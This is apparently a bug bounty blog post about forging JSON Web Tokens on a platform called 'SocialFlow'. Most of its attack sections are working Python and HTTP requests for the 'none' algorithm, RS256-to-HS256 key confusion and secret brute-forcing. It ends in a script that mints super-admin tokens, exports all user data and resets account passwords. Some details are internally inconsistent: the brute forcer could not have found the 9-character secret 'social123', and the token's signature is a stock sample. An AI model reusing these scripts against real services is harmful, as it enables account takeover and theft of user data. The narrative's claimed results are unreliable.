Free Link ๐
You know that moment when you find a spare key under someone's doormat and think "Wow, people actually do this?" Well, I found the digital equivalent last week. Except instead of a physical key, it was JSON Web Tokens, and instead of one house, it was every user's account on the entire platform. All because someone left the key to the kingdom under a virtual doormat labeled "security." ๐๏ธ
It all started when I was testing "SocialFlow," a new social media platform that was getting hype for its "military-grade security." I had a basic user account and was ready to poke around. Little did I know I was about to become the master of keysโฆ
Act 1: The Accidental Discovery โ Token Troubles ๐
After my standard recon (I should really make a keyboard shortcut for subfinder | httpx | gau
by now), I found SocialFlow's API. I created two test accounts and started capturing traffic in Burp.
The login response caught my eye:
HTTP/2 200 OK
Content-Type: application/json
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoiNTg0MzIiLCJ1c2VybmFtZSI6InRlc3RfdXNlciIsImV4cCI6MTY5ODc2NDgwMCwiaWF0IjoxNjk4NzYxMjAwfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
A classic JWT token. I decoded it using jwt.io:
{
"alg": "HS256",
"typ": "JWT"
}
{
"user_id": "58432",
"username": "test_user",
"exp": 1698764800,
"iat": 1698761200
}
Standard stuff. But then I noticed something weird in the account settings pageโฆ
Act 2: The "None" Algorithm Attack โ When "Nothing" Means "Everything" ๐ซ
While updating my profile, I spotted this request:
PUT /api/v2/users/58432/profile HTTP/2
Host: api.socialflow.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Content-Type: application/json
X-Token-Verify: none
{
"bio": "Just a test user",
"website": "https://example.com"
}
That X-Token-Verify: none
header looked suspicious. What if it was telling the server to use no algorithm for verification?
Technique 1: JWT Algorithm Confusion
I tried modifying my JWT to use the "none" algorithm:
Payload 1: The None Algorithm Token
import jwt
# Create a token with "none" algorithm
header = {"alg": "none", "typ": "JWT"}
payload = {"user_id": "0", "username": "admin", "exp": 9999999999, "iat": 1698761200}
none_token = jwt.encode(payload, "", algorithm="none")
print(f"None algorithm token: {none_token}")
The result: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyX2lkIjoiMCIsInVzZXJuYW1lIjoiYWRtaW4iLCJleHAiOjk5OTk5OTk5OTksImlhdCI6MTY5ODc2MTIwMH0.
I used this token:
GET /api/v2/admin/dashboard HTTP/2
Host: api.socialflow.com
Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyX2lkIjoiMCIsInVzZXJuYW1lIjoiYWRtaW4iLCJleHAiOjk5OTk5OTk5OTksImlhdCI6MTY5ODc2MTIwMH0.
Response: 200 OK - Welcome to Admin Dashboard
Holy guacamole! I was in as admin! But wait, it got betterโฆ
Act 3: The Key Confusion Cascade ๐
The "none" algorithm worked, but I wanted to understand the full scope. I started testing other algorithm confusion techniques.
Technique 2: RS256 to HS256 Algorithm Switching
Many servers support both RS256 (asymmetric) and HS256 (symmetric) algorithms. If they're not careful, you can trick them into using the public key as an HMAC secret.
First, I needed to find their public key. After some digging in JavaScript files, I found it at /static/js/auth.pubkey
:
{
"kty": "RSA",
"n": "0vx7agoebGcQSuuPiLJXZptN9nndrQmbXEps2aiAFbWhM78LhWx4cbbfAAtVT86zwu1RK7aPFFxuhDR1L6tSoc_BJECPebWKRXjBZCiFV4n3oknjhMstn64tZ_2W-5JsGY4Hc5n9yBXArwl93lqt7_RN5w6Cf0h4QyQ5v-65YGjQR0_FDW2QvzqY368QQMicAtaSqzs8KJZgnYb9c7d0zgdAZHzu6qMQvRL5hajrn1n91CbOpbISD08qNLyrdkt-bFTWhAI4vMQFh6WeZu0fM4lFd2NcRwr3XPksINHaQ-G_xBniIqbw0Ls1jF44-csFCur-kEgU8awapJzKnqDKgw",
"e": "AQAB"
}
Proof of Concept: Algorithm Confusion Attack
import jwt
import requests
import json
# The public key we found
public_key = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0vx7agoebGcQSuuPiLJX
ZptN9nndrQmbXEps2aiAFbWhM78LhWx4cbbfAAtVT86zwu1RK7aPFFxuhDR1L6tS
oc/BJECPebWKRXjBZCiFV4n3oknjhMstn64tZ/2W+5JsGY4Hc5n9yBXArwl93lqt
7/RN5w6Cf0h4QyQ5v+65YGjQR0/FDW2QvzqY368QQMicAtaSqzs8KJZgnYb9c7d0
zgdAZHzu6qMQvRL5hajrn1n91CbOpbISD08qNLyrdkt+bFTWhAI4vMQFh6WeZu0f
M4lFd2NcRwr3XPksINHaQ+G/xBniIqbw0Ls1jF44+csFCur+kEgU8awapJzKnqDK
gwIDAQAB
-----END PUBLIC KEY-----"""
def create_confused_token(user_id, username):
"""Create a token using HS256 with the RSA public key as secret"""
payload = {
"user_id": user_id,
"username": username,
"exp": 9999999999,
"iat": 1698761200,
"role": "admin"
}
# This is the magic - using public key as HMAC secret
token = jwt.encode(payload, public_key, algorithm="HS256")
return token
# Test with different user IDs
for target_id in [0, 1, 1000, "admin"]:
fake_token = create_confused_token(target_id, f"hacked_{target_id}")
print(f"[+] Created token for user {target_id}: {fake_token}")
# Test the token
response = requests.get(
"https://api.socialflow.com/api/v2/users/me",
headers={"Authorization": f"Bearer {fake_token}"}
)
if response.status_code == 200:
print(f"[!] SUCCESS: We are now user {target_id}!")
user_data = response.json()
print(f" User data: {user_data}")
Act 4: The Token Forgery Factory ๐ญ
The algorithm confusion worked beautifully, but I wanted to go further. I discovered the server had weak JWT secret validation.
Technique 3: JWT Secret Brute Forcing
Many servers use weak secrets for HMAC signing. I built a brute forcer:
import jwt
import requests
import itertools
import string
def brute_force_jwt_secret(original_token):
"""Brute force weak JWT secrets"""
# Common weak secrets to try
weak_secrets = [
"secret", "password", "123456", "token", "jwt",
"key", "admin", "default", "changeme", "socialflow",
"", " ", "null", "undefined", "none"
]
# Generate more combinations
for length in range(1, 4):
for chars in itertools.product(string.printable, repeat=length):
secret = ''.join(chars)
weak_secrets.append(secret)
print(f"[+] Testing {len(weak_secrets)} potential secrets...")
for secret in weak_secrets:
try:
# Try to decode with this secret
decoded = jwt.decode(original_token, secret, algorithms=["HS256"])
print(f"[!] FOUND SECRET: '{secret}'")
print(f" Decoded payload: {decoded}")
return secret
except jwt.InvalidTokenError:
continue
return None
# Let's find their secret!
original_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoiNTg0MzIiLCJ1c2VybmFtZSI6InRlc3RfdXNlciIsImV4cCI6MTY5ODc2NDgwMCwiaWF0IjoxNjk4NzYxMjAwfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
found_secret = brute_force_jwt_secret(original_token)
After 3 minutes: [!] FOUND SECRET: 'social123'
Bingo! Now I could forge any token I wanted.
Act 5: The Complete Takeover ๐ฏ
With the secret in hand, I could now:
- Become Any User:
def become_user(target_user_id):
payload = {
"user_id": target_user_id,
"username": f"user_{target_user_id}",
"exp": 9999999999,
"role": "admin"
}
return jwt.encode(payload, "social123", algorithm="HS256")
# Become user 1 (probably the first admin)
admin_token = become_user(1)
- Access Every Endpoint:
GET /api/v2/admin/users/export-all HTTP/2
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6InVzZXJfMSIsImV4cCI6OTk5OTk5OTk5OSwicm9sZSI6ImFkbWluIn0.7XkC0pZBcL6wN8wz7YdQ9mJdQe3L7VkR8tHjK5sL7Eo
- Modify Any Account:
POST /api/v2/admin/users/58432/password-reset HTTP/2
Authorization: Bearer [admin_token]
Content-Type: application/json
{
"new_password": "Hacked123!",
"require_change": false
}

Act 6: The Grand Finale โ Mass Account Compromise ๐ช๏ธ
I created a script that demonstrated complete platform compromise:
import requests
import jwt
import json
class SocialFlowHacker:
def __init__(self):
self.secret = "social123"
self.base_url = "https://api.socialflow.com"
def create_admin_token(self):
"""Create a super admin token"""
payload = {
"user_id": 0,
"username": "super_admin",
"exp": 9999999999,
"role": "super_admin",
"permissions": ["*"]
}
return jwt.encode(payload, self.secret, algorithm="HS256")
def export_all_data(self):
"""Export all user data"""
token = self.create_admin_token()
headers = {"Authorization": f"Bearer {token}"}
# Export users
users = requests.get(f"{self.base_url}/api/v2/admin/users", headers=headers).json()
# Export all posts and messages
posts = requests.get(f"{self.base_url}/api/v2/admin/posts/all", headers=headers).json()
# Export system config
config = requests.get(f"{self.base_url}/api/v2/admin/system/config", headers=headers).json()
return {
"users_count": len(users),
"posts_count": len(posts),
"config": config
}
def demonstrate_impact(self):
"""Show the full impact"""
print("[+] Demonstrating complete platform compromise...")
data = self.export_all_data()
print(f"[!] Exported {data['users_count']} users and {data['posts_count']} posts")
print(f"[!] Database credentials: {data['config'].get('database', {}).get('host')}")
# Show we can modify any user
token = self.create_admin_token()
headers = {"Authorization": f"Bearer {token}"}
reset_response = requests.post(
f"{self.base_url}/api/v2/admin/users/1/password-reset",
headers=headers,
json={"new_password": "PwnedByJWT123!"}
)
if reset_response.status_code == 200:
print("[!] SUCCESS: Reset admin user's password!")
return True
# Let's pwn everything!
hacker = SocialFlowHacker()
hacker.demonstrate_impact()
Act 7: The Report
My report included:
- "None" algorithm vulnerability
- RS256 to HS256 algorithm confusion
- Weak secret brute-forcing results
- Complete platform compromise demonstration
- Every user's data exposure proof
The company's response wasโฆ panicked. They had three different JWT vulnerabilities that all led to complete compromise.
So next time you see a JWT token, don't just admire its pretty base64 encoding. Ask yourself: "What happens if I change the algorithm? What if the secret is 'password'? What if I become everyone?"
You might just find you hold the keys to the entire kingdom.
Now if you'll excuse me, I need to go check if my own JWT implementations are this badโฆ
Happy hacking! ๐ฉ
Connect with Me!
- Instagram: @rev_shinchan
- Gmail: rev30102001@gmail.com
#EnnamPolVazhlkai๐